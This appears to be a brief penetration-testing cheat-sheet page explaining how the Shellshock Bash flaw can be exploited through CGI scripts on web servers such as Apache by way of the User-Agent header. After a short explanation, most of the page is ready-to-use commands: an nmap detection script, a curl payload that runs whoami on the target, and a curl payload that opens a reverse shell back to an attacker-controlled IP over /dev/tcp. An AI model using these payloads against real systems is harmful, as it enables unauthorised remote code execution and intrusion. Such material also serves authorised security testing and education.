ShellShock or (CVE-2014-7169 & CVE-2014-6271) allows arbitrary code execution after creating an environment variable in Bash. However, the problem resides in that some web servers, such as apache, support Common Gateway Interface (CGI). This feature allows CGI applications to perform Operating System operations by interacting with the command line interface like SH or Bash.

Furthermore, the value of USER-AGENT in an HTTP request is an input field that is commonly used in CGI applications to define variables. Manipulating the value of the USER-AGENT variable, it is possible to obtain remote code execution.


Check if it works

The script executes a command that prints a random string and then attempts to find it inside the response body.

nmap <TARGET> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Should return the user who is executing the webserver.

curl -H 'User-Agent: () { :; }; /bin/bash -c whoami' http://<TARGET_IP>/cgi-bin/<app>.cgi

Reverse shell

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<A_IP>/443 0>&1' http://<TARGET_IP>/cgi-bin/admin.cgi

Alternative exploit: Link


Last updated